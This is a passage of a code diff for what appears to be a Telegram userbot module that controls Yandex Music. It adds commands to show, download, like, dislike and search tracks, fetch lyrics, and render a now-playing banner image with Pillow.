self.autobio.stop() + try: + await self._client( + telethon.functions.account.UpdateProfileRequest( + about=self.config['no_playing_bio'][:(140 if self._premium else 70)] + ) + ) + except: pass + + await utils.answer( + message, + self.strings("autobio")['e' if bio else 'd'] + ) + + + @loader.command( + ru_doc="👉 Получить трек, который играет сейчас (с файлом трека)", + alias="ynt" + ) + async def ynowtcmd(self, message: telethon.types.Message): + """👉 Get now playing track (with track file)""" + + if not self.config['token']: + return await utils.answer(message, self.strings("no_token")) + ym = await YandexMusic(self.config['token']).init() + now = await ym.get_now_playing() + if not now: + return await utils.answer(message, self.strings("there_is_no_playing")) + if now['entity_type'] not in self.strings("queue_types").keys(): + now['entity_type'] = "VARIOUS" + + playlist_name = "" + if now['entity_type'] == "PLAYLIST": + playlist = (await ym.client.playlists_list(now['entity_id']))[0] + playlist_name = f"<b><a href =\"https://music.yandex.ru/users/" \ + f"{playlist.owner.login}/playlists/{playlist.kind}" \ + f"\">{playlist.title}</a></b>" + if now['entity_type'] == "ALBUM": + album = (await ym.client.albums(now['entity_id']))[0] + playlist_name = f"<b><a href =\"https://music.yandex.ru/album/" \ + f"{album.id}\">{album.title}</a></b>" + if now['entity_type'] == "ARTIST": + artist = (await ym.client.artists(now['entity_id']))[0] + playlist_name = f"<b><a href =\"https://music.yandex.ru/artist/" \ + f"{artist.id}\">{artist.name}</a></b>" + + device, volume = "Unknown Device", "❓" + if now['device']: + device=now['device'][0]['info']['title'] + volume=round(now['device'][0]['volume']*100, 2) + + out = self.config['now_playing_text'].format( + title=now['track'].title, + performer=", ".join([x.name for x in now['track'].artists]), + device=device, volume=volume, + playing_from=self.strings("queue_types").get(now['entity_type']).format(playlist_name), + track_id=now['track'].id, + album_id=now['track'].albums[0].id, + link=f"<a href=\"https://music.yandex.ru/album/{now['track'].albums[0].id}/track/{now['track'].id}\">Яндекс.Музыка</a>" + ) + await utils.answer( + message, out+self.strings("downloading") + ) + + audio = io.BytesIO((await utils.run_sync(requests.get, (await ym.client.tracks_download_info(now['track'].id, get_direct_links=True))[0].direct_link)).content) + audio.name = "audio.mp3" + await utils.answer( + message=message, response=out, + file=audio, + attributes=([ + telethon.types.DocumentAttributeAudio( + duration=now['track'].duration_ms // 1000, + title=now['track'].title, + performer=", ".join([x.name for x in now['track'].artists]) + ) + ]) + ) + + + @loader.command( + ru_doc="👉 Получить баннер трека, который играет сейчас", + alias="yn" + ) + async def ynowcmd(self, message: telethon.types.Message): + """👉 Get now playing track's banner""" + + if not self.config['token']: + return await utils.answer(message, self.strings("no_token")) + ym = await YandexMusic(self.config['token']).init() + now = await ym.get_now_playing() + if not now: + return await utils.answer(message, self.strings("there_is_no_playing")) + if now['entity_type'] not in self.strings("queue_types").keys(): + now['entity_type'] = "VARIOUS" + + playlist_name = "" + if now['entity_type'] == "PLAYLIST": + playlist = (await ym.client.playlists_list(now['entity_id']))[0] + playlist_name = f"<b><a href =\"https://music.yandex.ru/users/" \ + f"{playlist.owner.login}/playlists/{playlist.kind}" \ + f"\">{playlist.title}</a></b>" + if now['entity_type'] == "ALBUM": + album = (await ym.client.albums(now['entity_id']))[0] + playlist_name = f"<b><a href =\"https://music.yandex.ru/album/" \ + f"{album.id}\">{album.title}</a></b>" + if now['entity_type'] == "ARTIST": + artist = (await ym.client.artists(now['entity_id']))[0] + playlist_name = f"<b><a href =\"https://music.yandex.ru/artist/" \ + f"{artist.id}\">{artist.name}</a></b>" + + device, volume = "Unknown Device", "❓" + if now['device']: + device=now['device'][0]['info']['title'] + volume=round(now['device'][0]['volume']*100, 2) + + out = self.config['now_playing_text'].format( + title=now['track'].title, + performer=", ".join([x.name for x in now['track'].artists]), + device=device, volume=volume, + playing_from=self.strings("queue_types").get(now['entity_type']).format(playlist_name), + track_id=now['track'].id, + album_id=now['track'].albums[0].id, + link=f"<a href=\"https://music.yandex.ru/album/{now['track'].albums[0].id}/track/{now['track'].id}\">Яндекс.Музыка</a>" + ) + await utils.answer( + message, out+self.strings("uploading_banner") + ) + + lyrics = await ym.get_lyrics(now['track'].id, True) + func = self.__create_banner if self.config['banner_version'] == "new" else self.__create_banner_old + file = func( + now['track'].title, [x.name for x in now['track'].artists], + now['duration_ms'], now['progress_ms'], + requests.get(f"https://{now['track'].cover_uri[:-2]}1000x1000").content, + lyrics['text'] if lyrics else None + ) + await utils.answer( + message=message, response=out, file=file + ) + + + @loader.command( + ru_doc="👉 Лайкнуть играющий сейчас трек" + ) + async def ylikecmd(self, message: telethon.types.Message): + """👉 Like now playing track's banner""" + + if not self.config['token']: + return await utils.answer(message, self.strings("no_token")) + ym = await YandexMusic(self.config['token']).init() + now = await ym.get_now_playing() + if not now: + return await utils.answer(message, self.strings("there_is_no_playing")) + + await ym.client.users_likes_tracks_add(now['track'].id) + await utils.answer( + message, self.strings("likes")['liked'].format( + track_id=now['track'].id, album_id=now['track'].albums[0].id, + track=f"{', '.join([x.name for x in now['track'].artists])} — {now['track'].title}" + ) + ) + + @loader.command( + ru_doc="👉 Убрать лайк с играющего сейчас трека" + ) + async def yunlikecmd(self, message: telethon.types.Message): + """👉 Unlike now playing track""" + + if not self.config['token']: + return await utils.answer(message, self.strings("no_token")) + ym = await YandexMusic(self.config['token']).init() + now = await ym.get_now_playing() + if not now: + return await utils.answer(message, self.strings("there_is_no_playing")) + + await ym.client.users_likes_tracks_remove(now['track'].id) + await utils.answer( + message, self.strings("likes")['unliked'].format( + track_id=now['track'].id, album_id=now['track'].albums[0].id, + track=f"{', '.join([x.name for x in now['track'].artists])} — {now['track'].title}" + ) + ) + + @loader.command( + ru_doc="👉 Дизлайкнуть играющий сейчас трек", + alias="ydis" + ) + async def ydislikecmd(self, message: telethon.types.Message): + """👉 Dislike now playing track""" + + if not self.config['token']: + return await utils.answer(message, self.strings("no_token")) + ym = await YandexMusic(self.config['token']).init() + now = await ym.get_now_playing() + if not now: + return await utils.answer(message, self.strings("there_is_no_playing")) + + await ym.client.users_dislikes_tracks_add(now['track'].id) + await utils.answer( + message, self.strings("likes")['disliked'].format( + track_id=now['track'].id, album_id=now['track'].albums[0].id, + track=f"{', '.join([x.name for x in now['track'].artists])} — {now['track'].title}" + ) + ) + + + @loader.command( + ru_doc="👉 Получить текст играющего сейчас трека" + ) + async def ylyricscmd(self, message: telethon.types.Message): + """👉 Get lyrics of the now playing track""" + + if not self.config['token']: + return await utils.answer(message, self.strings("no_token")) + ym = await YandexMusic(self.config['token']).init() + now = await ym.get_now_playing() + if not now: + return await utils.answer(message, self.strings("there_is_no_playing")) + + lyrics = await ym.get_lyrics(now['playable_id']) + if lyrics: + await utils.answer( + message, self.strings("lyrics").format( + track_id=now['track'].id, album_id=now['track'].albums[0].id, + track=f"{', '.join([x.name for x in now['track'].artists])} — {now['track'].title}", + text=lyrics['text'], + writers=", ".join(lyrics['writers']) + ) + ) + else: + await utils.answer( + message, self.strings("no_lyrics").format( + track_id=now['track'].id, album_id=now['track'].albums[0].id, + track=f"{', '.join([x.name for x in now['track'].artists])} — {now['track'].title}" + ) + ) + + + @loader.command( + ru_doc="<запрос> 👉 Поиск трека в Яндекс.Музыке", + alias="yq" + ) + async def ysearchcmd(self, message: telethon.types.Message): + """<query> 👉 Search track in Yandex.Music""" + + if not self.config['token']: + return await utils.answer(message, self.strings("no_token")) + ym = await YandexMusic(self.config['token']).init() + + query = utils.get_args_raw(message) + if not query: + await utils.answer(message, self.strings("args")) + return + + message = await utils.answer(message, self.strings("searching")) + + search = await ym.client.search(query, type_="track") + if (not search.tracks) or (len(search.tracks.results) == 0): + return await utils.answer(message, self.strings("404")) + + out = self.strings("search").format( + title=search.tracks.results[0].title + ( + f" ({search.tracks.results[0].version})" if search.tracks.results[0].version else "" + ), + performer=", ".join([x.name for x in search.tracks.results[0].artists]), + album_id=search.tracks.results[0].albums[0].id, track_id=search.tracks.results[0].id + ) + message = await utils.answer(message, out+self.strings("downloading")) + + info = await ym.client.tracks_download_info(search.tracks.results[0].id, True) + link = info[0].direct_link + audio = None + audio = io.BytesIO((await utils.run_sync(requests.get, link)).content) + audio.name = "audio.mp3" + + await utils.answer( + message=message, response=out, + file=audio, + attributes=([ + telethon.types.DocumentAttributeAudio( + duration=int(search.tracks.results[0].duration_ms / 1000), + title=search.tracks.results[0].title, + performer=", ".join([x.name for x in search.tracks.results[0].artists]) + ) + ]) + ) + + def __create_banner( self, title: str, artists: list, duration: int, progress: int, - track_cover: bytes + track_cover: bytes, lyrics: str, + ): + # ——————————————— CONSTS ——————————————— + W, H = 1920, 768 + title_font = ImageFont.truetype(io.BytesIO(requests.get( + "https://raw.githubusercontent.com/kamekuro/assets/master/fonts/Onest-Bold.ttf" + ).content), 55) + artist_font = ImageFont.truetype(io.BytesIO(requests.get( + "https://raw.githubusercontent.com/kamekuro/assets/master/fonts/Onest-Bold.ttf" + ).content), 46) + time_font = ImageFont.truetype(io.BytesIO(requests.get( + "https://raw.githubusercontent.com/kamekuro/assets/master/fonts/Onest-Bold.ttf" + ).content), 36) + lyrics_font = ImageFont.truetype(io.BytesIO(requests.get( + "https://raw.githubusercontent.com/kamekuro/assets/master/fonts/YSMusic-HeadlineBold.ttf" + ).content), 75) + nlyrics_font = ImageFont.truetype(io.BytesIO(requests.get( + "https://raw.githubusercontent.com/kamekuro/assets/master/fonts/YSMusic-HeadlineBold.ttf" + ).content), 60) + def measure(t: str, f: ImageFont.FreeTypeFont, d: ImageDraw.ImageDraw): + bb = d.textbbox((0, 0), t, font=f) + return bb[2] - bb[0], bb[3] - bb[1] + + # ——————————————— BACKGROUND ——————————————— + track_cov = Image.open(io.BytesIO(track_cover)).convert("RGBA") + banner = ( + track_cov.resize((W, W)) + .crop((0, (W-H) // 2, W, ((W-H) // 2) + H)) + .filter(ImageFilter.GaussianBlur(radius=14)) + ) + banner = ImageEnhance.Brightness(banner).enhance(0.3) + draw = ImageDraw.Draw(banner) + + # ——————————————— TRACK COVER ——————————————— + track_cov = track_cov.resize((H-350, H-350)) + mask = Image.new("L", track_cov.size, 0) + ImageDraw.Draw(mask).rounded_rectangle( + (0, 0, track_cov.size[0], track_cov.size[1]), radius=35, fill=255 + ) + track_cov.putalpha(mask) + track_cov = track_cov.crop(track_cov.getbbox()) + banner.paste(track_cov, (175, 175), mask) + + # ——————————————— ARTIST & TITLE ——————————————— + text_width, _ = measure(f"{', '.join(artists)} — {title}", title_font, draw) + if text_width > 1680: + lines = [f"{title}", f"{', '.join(artists)}"] + lsizes = [measure(lines[0], title_font, draw), measure(lines[1], artist_font, draw)] + else: + lines = [f"{', '.join(artists)} — {title}"] + lsizes = [measure(lines[0], title_font, draw)] + text_h = sum(th for _, th in lsizes) + (len(lines) - 1) + text_y = (150 - text_h) / 2 + for i, (l, (lw, lh)) in enumerate(zip(lines, lsizes)): + if len(lines) == 2 and i == 1: + ftu = artist_font + else: + ftu = title_font + if lw > 1680: + while lw > 1680 and len(l) > 3: + l = l[:-4] + "…" + lw, _ = measure(l, ftu, draw) + tx = (W - lw) / 2 + draw.text((tx, text_y), l, font=ftu, fill="#A0A0A0") + text_y += lh + 5 + + # ——————————————— LYRICS ——————————————— + if lyrics: + lyrics_lines = [] + for match in re.finditer(r"\[(\d{2}):(\d{2}\.\d{2})\] (.+)", lyrics): + minutes = int(match.group(1)) + seconds = float(match.group(2)) + text = match.group(3) + time_ms = int((minutes * 60 + seconds) * 1000) + lyrics_lines.append((time_ms, text)) + llast, lnext = "", "" + for i, (time_ms, text) in enumerate(lyrics_lines): + if time_ms <= progress: + llast = text + if i+1 < len(lyrics_lines): + lnext = lyrics_lines[i+1][1] + else: + break + y_start = None + if llast: + lines = textwrap.wrap(llast, width=23) + if len(lines) > 3: + lines = lines[:3] + lines[-1] += "…" + lines_sizes = [draw.textbbox((0, 0), l, font=lyrics_font) for l in lines] + line_heights = [bb[3] - bb[1] for bb in lines_sizes] + total_text_height = sum(line_heights) + (len(lines) - 1) * 10 + y_start = (150 + (track_cov.size[0]-total_text_height)) / 2 + for i, line in enumerate(lines): + lw = lines_sizes[i][2] - lines_sizes[i][0] + tx = (track_cov.size[0]+325 + ((W-track_cov.size[0]+285) - lw)) / 2 + draw.text((tx, y_start), line, font=lyrics_font, fill="#FFFFFF") + y_start += line_heights[i] + 10 + if lnext: + next_lines = textwrap.wrap(lnext, width=23) + if len(next_lines) > 2: + next_lines = next_lines[:2] + next_lines[-1] += "…" + next_sizes = [draw.textbbox((0, 0), l, font=nlyrics_font) for l in next_lines] + next_heights = [bb[3] - bb[1] for bb in next_sizes] + total_text_height = sum(next_heights) + (len(next_lines) - 1) * 10 + if not y_start: + y_start = (150 + (track_cov.size[0] - total_text_height))/2 + 150 + for j, line in enumerate(next_lines): + lw = next_sizes[j][2] - next_sizes[j][0] + tx = (track_cov.size[0] + 325 + ((W - track_cov.size[0] + 285) - lw)) / 2 + draw.text((tx, y_start + 40), line, font=nlyrics_font, fill="#A0A0A0") + y_start += next_heights[j] + 10 + + # ——————————————— STATUS BAR ——————————————— + draw.rounded_rectangle([75, 700, 768 + 1072, 700 + 15], radius=15 // 2, fill="#A0A0A0") + draw.rounded_rectangle([75, 700, 768 + int(1072 * (progress / duration)), 700 + 15], radius=15 // 2, fill="#FFFFFF") + draw.text((75, 650), f"{(progress//1000//60):02}:{(progress//1000%60):02}", font=time_font, fill="#FFFFFF") + draw.text((1745, 650), f"{(duration//1000//60):02}:{(duration//1000%60):02}", font=time_font, fill="#FFFFFF") + + # ——————————————— SAVE ——————————————— + by = io.BytesIO() + banner.save(by, format="PNG"); by.seek(0) + by.name = "banner.png" + return by + + + def __create_banner_old( + self, + title: str, artists: list, + duration: int, progress: int, + track_cover: bytes, + *args, **kwargs ): w, h = 1920, 768 title_font = ImageFont.truetype(io.BytesIO(requests.get(